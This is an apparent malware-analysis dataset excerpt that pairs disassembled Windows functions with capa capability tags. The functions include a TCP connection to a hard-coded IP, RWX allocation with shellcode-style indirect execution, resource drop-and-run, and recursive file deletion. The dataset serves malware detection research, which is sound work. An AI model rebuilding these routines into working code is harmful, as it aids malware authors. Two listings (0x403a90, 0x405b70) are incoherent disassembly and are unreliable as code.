joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4028f0
Capabilities:
Write file on windows

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x1a8
mov eax, 0x4063a8
push ebx
push ebp
push esi
push edi
xor ebp, ebp
cmp ecx, dword [eax]
je 0x402914
add eax, 8
inc ebp
cmp eax, 0x406438
jb 0x402905
cmp ecx, dword [ebp*8 + 0x4063a8]
jne 0x402abb
mov eax, dword [0x4089b8]
cmp eax, 1
je 0x402a7d
test eax, eax
jne 0x402940
cmp dword [0x40607c], 1
je 0x402a7d
cmp ecx, 0xfc
je 0x402abb
lea eax, [esp + 0xb4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40297b
mov ecx, 5
mov esi, str._program_name_unknown_
lea edi, [esp + 0xb4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xb4]
or ecx, 0xffffffff
xor eax, eax
lea ebx, [esp + 0xb4]
repne scasb al, byte es:[edi]
not ecx
cmp ecx, 0x3c
jbe 0x4029c4
lea edi, [esp + 0xb4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 3
mov ebx, ecx
lea ecx, [esp + 0xb8]
sub ecx, 0x3b
push 0x4052f0
add ebx, ecx
push ebx
call fcn.00403520
add esp, 0xc
mov ecx, 6
mov esi, str.Runtime_Error__n_nProgram:
lea edi, [esp + 0x14]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
or ecx, 0xffffffff
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x14]
and ecx, 3
push 0x12010
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4052d0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.Microsoft_Visual_C_Runtime_Library
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp*8 + 0x4063ac]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00403490
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret
mov eax, dword [0x409d00]
test eax, eax
je 0x402a8e
mov esi, dword [eax + 0x48]
cmp esi, 0xffffffff
jne 0x402a98
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
mov edx, dword [ebp*8 + 0x4063ac]
lea ecx, [esp + 0x10]
push 0
push ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret
Function at 0x10010b30
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [fcn.10010b30]
mov dword [ebp - 8], eax
jmp 0x10010b53
mov al, 1
test al, 1
jne 0x10010b53
jmp 0x10010ba2
jmp 0x10010b81
mov eax, dword [ebp - 4]
add esp, 0xc
pop ebp
ret
mov eax, dword [ebp - 8]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x10010b81
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 8]
mov eax, dword [ecx + eax]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
cmp eax, 0x4550
jne 0x10010b49
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
jmp 0x10010b4b
mov eax, dword [ebp - 8]
sub eax, 0x1000
and eax, 0xfffff000
mov dword [ebp - 8], eax
mov eax, dword [0x10048900]
sub eax, 0x362
mov dword [0x10048900], eax
jmp 0x10010b41
mov dword [ebp - 4], 0
jmp 0x10010b4b

Function at 0x10010bb0
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov dword [0x10048900], 0x252d
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0xc], eax
mov eax, dword [0x10048904]
add eax, 0x253
mov dword [0x10048900], eax
mov dword [ebp - 0x10], 0
cmp dword [ebp - 0x10], 0x104
jl 0x10010c46
jmp 0x10010c05
jmp 0x10010d2c
mov dword [0x10048904], 0x1ac
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
movzx eax, word [eax + ecx*2 - 0x1a]
cmp eax, 0x6c
je 0x10010c79
jmp 0x10010d2c
jmp 0x10010c00
mov dword [0x10048904], 0x198f
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
movzx eax, word [eax + ecx*2 - 0x16]
cmp eax, 0x61
je 0x10010c96
jmp 0x10010c26
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
movzx eax, word [ecx + eax*2]
cmp eax, 0
jne 0x10010c5f
jmp 0x10010c05
mov dword [0x10048900], 0xbea
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
jmp 0x10010bf5
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
movzx eax, word [eax + ecx*2 - 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp eax, 0x6f
je 0x10010c28
jmp 0x10010c00
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dx, word [ecx + eax*2 - 0x14]
mov word [ebp - 0x1a], dx
mov ax, word [ebp - 0x1a]
movzx ecx, ax
cmp ecx, 0x64
jne 0x10010d27
mov eax, dword [0x10048900]
sub eax, 0x1325
mov dword [0x10048900], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
movzx eax, word [eax + ecx*2 - 0x12]
cmp eax, 0x64
jne 0x10010d25
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
movzx eax, word [eax + ecx*2 - 0x10]
cmp eax, 0x6c
jne 0x10010d23
mov dword [0x10048900], 0x23b8
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
shl ecx, 1
add eax, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
movzx ecx, word [eax - 0xe]
cmp ecx, 0x6c
jne 0x10010d21
mov dword [0x10048904], 0xc8
mov dword [ebp - 4], 1
jmp 0x10010d33
jmp 0x10010d23
jmp 0x10010d25
jmp 0x10010d27
jmp 0x10010c26
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add esp, 0x20
pop ebp
ret
Function at 0x4014c5
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push esi
push edi
mov esi, ecx
push eax
push 0x202
mov dword [esi], 0x4025b8
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
or dword [esi + 8], 0xffffffff
mov dword [esi + 0xc], eax
push 0x4dc5c
lea eax, [esi + 0x10]
push edi
push eax
mov dword [esi + 0x4dc70], edi
mov dword [esi + 4], edi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret

Function at 0x401563
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
push esi
push dword [0x4031b4]
mov esi, str.43.132.174.95
lea eax, [ebp - 0x68]
mov dword [ebp - 4], ecx
push esi
push str._s_d
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [ebp - 0x68]
push eax
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0x4015a4
push eax
jmp 0x4015cd
lea eax, [ebp - 0x68]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ebx, eax
test ebx, ebx
je 0x4015d7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4015d7
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4015e6
push dword [0x4031b4]
mov ecx, dword [ebp - 4]
push esi
call fcn.004015ea
pop esi
pop ebx
leave
ret

Function at 0x4015ea
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push 6
push 1
push 2
mov esi, ecx
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
jne 0x40160b
xor eax, eax
jmp 0x401677
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
push dword [ebp + 0xc]
mov edi, eax
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
mov eax, dword [edi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
push dword [esi + 8]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401661
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x3e8
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x40160c
xor eax, eax
push eax
push eax
push esi
push 0x40167c
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
pop edi
inc eax
pop esi
leave
ret 8
Function at 0x40173a
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call

Disassembly:
mov eax, 0x401da8
call fcn.00401ab0
sub esp, 0x10
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
push 0x40
push 0x3000
push 0x4dc5c
push ebx
mov dword [ebp - 0x1c], ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, ebx
mov dword [ebp - 0x14], eax
je 0x401810
mov esi, dword [sym.imp.MSVCRT.dll_rand]
call esi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov edi, 0x400
push edi
call esi
push ebx
call esi
cmp eax, edi
jne 0x40179d
push 0x403504
call dword [sym.imp.MSVCRT.dll_printf]
pop ecx
jmp 0x4017b5
push 0x4034f8
call dword [sym.imp.MSVCRT.dll_printf]
pop ecx
push ebx
push str.calc.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
lea eax, [ebp - 0x18]
push 0x402720
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x18], 0x6c810
call sub.MSVCRT.dll__CxxThrowException
mov eax, dword [ebp - 0x1c]
push 0x4dc5c
add eax, 0x4dc74
push eax
push dword [ebp - 0x14]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, 0x4017ec
ret
xor eax, eax
jmp 0x401834
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x401843
Capabilities:
Send data
Send data on socket

Disassembly:
push 0
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [ecx + 8]
call dword [sym.imp.WS2_32.dll_send]
xor ecx, ecx
test eax, eax
setg cl
mov eax, ecx
ret 8
Function at 0x40105b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
xor ecx, ecx
push 8
mov eax, ecx
pop edx
mov esi, eax
and esi, 1
dec esi
not esi
and esi, 0xedb88320
shr eax, 1
xor eax, esi
dec edx
jne 0x401063
mov dword [ecx*4 + 0x408400], eax
inc ecx
cmp ecx, 0x100
jb 0x40105e
mov edx, 0x800
jmp 0x4010b0
mov eax, dword [ecx*4 + section..data]
mov esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x408400]
inc ecx
mov dword [ecx*4 + 0x4083fc], eax
cmp ecx, edx
jb 0x40108f
mov dword [0x4083d8], 0x4010d3
call fcn.004048f3
test eax, eax
jne 0x4010d1
mov dword [0x4083d8], 0x401169
pop esi
ret

Function at 0x4019d8
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [esi]
test edi, edi
je 0x401a20
and dword [esi], 0
mov eax, 0x400000
cmp edi, eax
ja 0x4019f1
mov eax, edi
and dword [ebp - 4], 0
push 0
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 4]
add dword [ebp + 0xc], ecx
add dword [esi], ecx
sub edi, ecx
test eax, eax
je 0x401a25
test ecx, ecx
je 0x401a20
test edi, edi
ja 0x4019e6
xor eax, eax
pop edi
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x401a22

Function at 0x401a2d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [esi]
test edi, edi
je 0x401a75
and dword [esi], 0
mov eax, 0x400000
cmp edi, eax
ja 0x401a46
mov eax, edi
and dword [ebp - 4], 0
push 0
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
add dword [ebp + 0xc], ecx
add dword [esi], ecx
sub edi, ecx
test eax, eax
je 0x401a7a
test ecx, ecx
je 0x401a75
test edi, edi
ja 0x401a3b
xor eax, eax
pop edi
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x401a77
Function at 0x4038a5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
lea ebp, [esp - 0x18c]
sub esp, 0x20c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp + 0x188], eax
push esi
push edi
xor esi, esi
push 0x1fe
lea eax, [ebp - 0x76]
push esi
push eax
mov edi, ecx
mov word [ebp - 0x78], si
call sub.MSVCR80.dll_memset
push str.play.7z
push edi
push str._s_s
lea eax, [ebp - 0x78]
push 0x100
push eax
call fcn.004037d2
add esp, 0x20
push 0x40719c
push 0x65
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
cmp edi, esi
jne 0x40391f
push str.find_resource_failed_
call fcn.004037ef
pop ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4039a7
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp eax, esi
mov dword [ebp - 0x80], eax
jne 0x403935
push str.resource_is_empty_
jmp 0x40390e
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, esi
jne 0x403948
push str.load_resource_failed_
jmp 0x40390e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
or dword [ebp - 0x7c], 0xffffffff
mov esi, eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
xor eax, eax
inc eax
call fcn.00401978
test eax, eax
pop ecx
pop ecx
je 0x40397b
push str.can_not_create_file
call fcn.004037ef
pop ecx
push 0xb
pop eax
jmp 0x4039a7
push esi
lea eax, [ebp - 0x7c]
push eax
lea esi, [ebp - 0x80]
call fcn.00401a2d
test eax, eax
pop ecx
pop ecx
je 0x40399d
push str.can_not_open_write_file
call fcn.004037ef
pop ecx
push 9
jmp 0x403978
lea esi, [ebp - 0x7c]
call fcn.004019ba
xor eax, eax
mov ecx, dword [ebp + 0x188]
pop edi
xor ecx, ebp
pop esi
call fcn.00406458
add ebp, 0x18c
leave
ret
Function at 0x403efb
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x660
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, 0x1fe
xor edi, edi
push esi
lea eax, [ebp - 0x40a]
push edi
push eax
mov word [ebp - 0x40c], di
call sub.MSVCR80.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x20a]
push edi
push eax
mov word [ebp - 0x20c], di
call sub.MSVCR80.dll_memset
add esp, 0xc
push ebx
push str._s.
mov esi, 0x100
lea eax, [ebp - 0x40c]
push esi
push eax
call fcn.004037d2
add esp, 0x10
lea eax, [ebp - 0x65c]
push eax
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 0x660], eax
jne 0x403f8c
xor eax, eax
jmp 0x404030
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea ecx, [ebp - 0x65c]
push ecx
push eax
jmp 0x404014
lea eax, [ebp - 0x630]
push 0x407324
push eax
call dword [sym.imp.MSVCR80.dll_wcscmp]
test eax, eax
pop ecx
pop ecx
je 0x404007
lea eax, [ebp - 0x630]
push 0x407328
push eax
call dword [sym.imp.MSVCR80.dll_wcscmp]
test eax, eax
pop ecx
pop ecx
je 0x404007
lea eax, [ebp - 0x630]
push eax
push ebx
push str._s_s
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.004037d2
add esp, 0x14
test byte [ebp - 0x65c], 0x10
lea eax, [ebp - 0x20c]
push eax
je 0x404001
call fcn.00403efb
pop ecx
jmp 0x404007
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x65c]
push eax
push dword [ebp - 0x660]
call edi
test eax, eax
jne 0x403f9c
push dword [ebp - 0x660]
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406458
leave
ret

Function at 0x40403f
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x1c0]
sub esp, 0x240
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp + 0x1bc], eax
and word [ebp - 0x44], 0
push edi
push 0x1fe
lea eax, [ebp - 0x42]
push 0
push eax
mov edi, ecx
call sub.MSVCR80.dll_memset
push str.play.exe
push edi
push str._s_s
lea eax, [ebp - 0x44]
push 0x100
push eax
call fcn.004037d2
push 0x3c
pop edi
push edi
lea eax, [ebp - 0x80]
push 0
push eax
call sub.MSVCR80.dll_memset
and dword [ebp - 0x78], 0
lea eax, [ebp - 0x44]
mov dword [ebp - 0x70], eax
add esp, 0x2c
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], edi
mov dword [ebp - 0x74], str.open
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x64], 1
mov dword [ebp - 0x7c], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov ecx, dword [ebp + 0x1bc]
neg eax
sbb eax, eax
and eax, dword [ebp - 0x48]
xor ecx, ebp
pop edi
call fcn.00406458
add ebp, 0x1c0
leave
ret
Function at 0x4040e9
Capabilities:
Check mutex on windows
Create directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa0c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0xa08], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov esi, 0x1fe
xor edi, edi
push esi
lea eax, [esp + 0x16]
push edi
push eax
mov word [esp + 0x1c], di
call sub.MSVCR80.dll_memset
add esp, 0xc
push esi
lea eax, [esp + 0x216]
push edi
push eax
mov word [esp + 0x21c], di
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x3fe
lea eax, [esp + 0x616]
push edi
push eax
mov word [esp + 0x61c], di
call sub.MSVCR80.dll_memset
add esp, 0xc
push esi
lea eax, [esp + 0x416]
push edi
push eax
mov word [esp + 0x41c], di
call sub.MSVCR80.dll_memset
add esp, 0xc
cmp dword [ebp + 8], 1
mov esi, 0x100
jle 0x40419f
push esi
lea eax, [esp + 0x414]
push eax
push dword [ebx + 4]
call sub.MSVCR80.dll_strlen
pop ecx
push eax
push dword [ebx + 4]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0x407360
lea eax, [esp + 0x14]
push esi
push eax
call fcn.004037d2
add esp, 0xc
lea eax, [esp + 0x10]
push str.SPTemp
push eax
call dword [sym.imp.MSVCR80.dll_wcscat]
pop ecx
pop ecx
push str.smartplayerclient
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0xb7
jne 0x4041e8
xor eax, eax
jmp 0x4042c5
lea ebx, [esp + 0x210]
call fcn.00403801
test eax, eax
je 0x404205
push str.can_not_get_module_path_
call fcn.004037ef
pop ecx
jmp 0x4041e1
lea eax, [esp + 0x210]
push eax
push str.7zDecode_start______s_n
call dword [sym.imp.MSVCR80.dll_wprintf]
lea eax, [esp + 0x418]
push eax
lea eax, [esp + 0x21c]
push eax
push str.__s____s_
lea eax, [esp + 0x624]
push 0x200
push eax
call fcn.004037d2
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
add esp, 0x1c
push edi
lea eax, [esp + 0x14]
push eax
call ebx
test eax, eax
jne 0x404281
call esi
cmp eax, 0xb7
jne 0x404281
lea eax, [esp + 0x10]
push eax
call fcn.00403efb
test eax, eax
pop ecx
je 0x404276
push edi
lea eax, [esp + 0x14]
push eax
call ebx
jmp 0x404281
push str.Remove_directory_failed_
call fcn.004037ef
pop ecx
lea ecx, [esp + 0x10]
call fcn.004038a5
test eax, eax
je 0x404298
push str.load_zip_resource_failed_
jmp 0x4041fd
lea ecx, [esp + 0x10]
call fcn.004039be
test eax, eax
jne 0x4042c2
lea esi, [esp + 0x610]
lea ecx, [esp + 0x10]
call fcn.0040403f
cmp eax, edi
je 0x4042c2
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
inc eax
mov ecx, dword [esp + 0xa14]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00406458
mov esp, ebp
pop ebp
ret
Function at 0x4046e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x10]
mov edx, dword [edx]
sub esp, 0xc
xor eax, eax
and edx, 7
cmp ecx, 5
jae 0x4046f7
leave
ret
add dword [ebp + 0xc], 5
or dword [ebp - 4], 0xffffffff
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea ecx, [edi + ecx - 4]
mov dword [ebp - 8], ecx
lea esi, [eax + edi]
jmp 0x40471a
mov al, byte [esi]
and al, 0xfe
cmp al, 0xe8
je 0x40471f
inc esi
cmp esi, dword [ebp - 8]
jb 0x404711
mov eax, esi
sub eax, edi
cmp esi, dword [ebp - 8]
mov dword [ebp - 0xc], eax
jae 0x404814
mov ecx, eax
sub ecx, dword [ebp - 4]
cmp ecx, 3
jbe 0x404773
xor edx, edx
mov cl, byte [esi + 4]
test cl, cl
mov dword [ebp - 4], eax
je 0x40474a
cmp cl, 0xff
jne 0x40479e
xor ebx, ebx
mov bh, cl
movzx ecx, byte [esi + 2]
mov bl, byte [esi + 3]
shl ebx, 8
or ebx, ecx
movzx ecx, byte [esi + 1]
shl ebx, 8
or ebx, ecx
mov edi, ebx
cmp dword [ebp + 0x14], 0
je 0x4047ac
lea ebx, [edi + eax]
add ebx, dword [ebp + 0xc]
jmp 0x4047b3
dec ecx
shl edx, cl
and edx, 7
je 0x40473b
movzx ecx, byte [edx + 0x407620]
mov ebx, esi
sub ebx, ecx
cmp byte [edx + 0x407618], 0
mov cl, byte [ebx + 4]
je 0x40479b
test cl, cl
je 0x40479b
cmp cl, 0xff
jne 0x40473b
mov dword [ebp - 4], eax
and edx, 3
add edx, edx
or edx, 1
inc eax
jmp 0x40470c
sub edi, eax
sub edi, dword [ebp + 0xc]
mov ebx, edi
test edx, edx
je 0x4047e7
movzx edi, byte [edx + 0x407620]
push 0x18
shl edi, 3
pop ecx
sub ecx, edi
mov eax, ebx
shr eax, cl
test al, al
je 0x4047d2
cmp al, 0xff
jne 0x4047e4
mov eax, dword [ebp - 0xc]
push 0x20
pop ecx
sub ecx, edi
xor edi, edi
inc edi
shl edi, cl
dec edi
xor edi, ebx
jmp 0x404765
mov eax, dword [ebp - 0xc]
mov edi, dword [ebp + 8]
mov ecx, ebx
shr ecx, 0x18
and cl, 1
dec cl
not cl
mov byte [esi + 4], cl
mov ecx, ebx
shr ecx, 0x10
mov byte [esi + 3], cl
mov ecx, ebx
shr ecx, 8
mov byte [esi + 2], cl
mov byte [esi + 1], bl
add eax, 5
jmp 0x40470c
mov esi, eax
sub esi, dword [ebp - 4]
push 3
lea ecx, [esi - 1]
shl edx, cl
pop edi
and edx, 7
cmp edi, esi
sbb ecx, ecx
not ecx
pop edi
and ecx, edx
mov edx, dword [ebp + 0x10]
pop esi
mov dword [edx], ecx
pop ebx
leave
ret

Function at 0x406458
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x406462
repz ret
jmp fcn.00406727
Function at 0x403a90
Capabilities:
Encode data using xor

Disassembly:
mov esp, 0x145845
add byte [eax], al
push ebx
mov dword [esi + 8], eax
mov edx, dword [0x411798]
lea ecx, [ebp - 0x14]
retf
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [esi + 0xc]
test eax, eax
jne 0x403ac4
mov eax, dword [esi + 0x824]
jecxz 0x403a2a
je 0x403ac4
mov eax, dword [0x4102b4]
test eax, eax
je 0x403c25
dec eax
imul esi, dword [edx + eax + 0x61e90041], 0x83000001
popal
mov ah, 2
and dword [ecx - 0x4c], 2
inc ecx
and al, byte [ecx]
jne 0x403b1a
mov eax, dword [esi + 0x10]
mov dword [0x410219], eax
and al, 0x8b
sahf
adc byte [ecx - 0x2bbefd74], ah
cmp ecx, eax
je 0x403afb
mov ebx, dword [ebp + 0x4102b8]
mov eax, dword [0x4102c0]
inc ecx
inc eax
sub byte [0x4102b8], cl
mov dword [0x4125c0], eax
mov eax, dword [0x4102ac]
inc ebp
mov byte [eax], dl
rol byte [eax], 1
cmp ebp, esi
add byte [ebp - 0x78], al
adc al, dl
inc eax
add byte [ebx], bh
out dx, al
mov ebx, 0x1178d
int 0x49
mov edi, 0x410bc8
mov edi, eax
jns 0x403aff
add eax, 0xa324fa03
cli
and al, 0xa3
lodsb al, byte [esi]
inc ebx
inc ecx
add byte [eax + 0x2eda], ch
mov dword [0x414ba0], eax
lahf
adc eax, 0x410ba4
mov dword [esi + 0x2750], eax
test dword [0x41cea4], edx
mov eax, dword [esi + 0x4d000830]
mov dword [esi + 0x854], edx
mov dword [edi], eax
pop ebp
and dh, byte [eax + ecx]
add byte [eax], al
mov dword [edi + 4], ecx
mov ecx, dword [esi + 0x9b38]
mov eax, dword [esi + 0x830]
mov esi, ebp
xor al, 0x4a
add byte [ebx + 0x2b], bh
enter 0xffffffffffff868b, 0x3c
or byte [ebp], bl
sbb eax, edx
test eax, eax
jg 0x403b37
jl 0x403b7a
test ecx, ecx
jae 0x403b7e
xor edx, dword [ecx + 0x33]
ror byte [ecx + 0x4789104f], 0x14
mov dword [edi + 0x10], ecx
mov dword [edi + 0x14], eax
mov ecx, dword [esi + 0x850]
in eax, dx
xchg byte [eax], dh
or byte [eax], al
add byte [ebx + 0x6e0b8996], cl
add byte [ebx], ch
enter 0xffffffffffff8a8b, 0x54
or byte [eax], al
add byte [ebx], bl
ret 0xc085
mov eax, dword [0xc5dc17f8]
mov ecx, ebp
hlt

Function at 0x405b70
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [esi + 0x7d]
test eax, eax
mov cl, 8
mov eax, dword [esi - 0x74]
or ch, 0xcf
jne 0x405bd6
dec eax
movsb byte es:[edi], byte [esi]
or al, 0x8b
inc esi
mov byte [ebx], bh
enter 0x51b3, 0x14
add byte [eax], al
add byte [ebp + 0x7d], dl
and al, 0x8b
push esi
dec esi
mov esp, 0x4689b704
and byte [eax - 0xc69d2b2], al
mov dl, byte [eax + 1]
inc eax
jne 0x405c2a
mov ecx, 0x3c197fec
retf 0x528b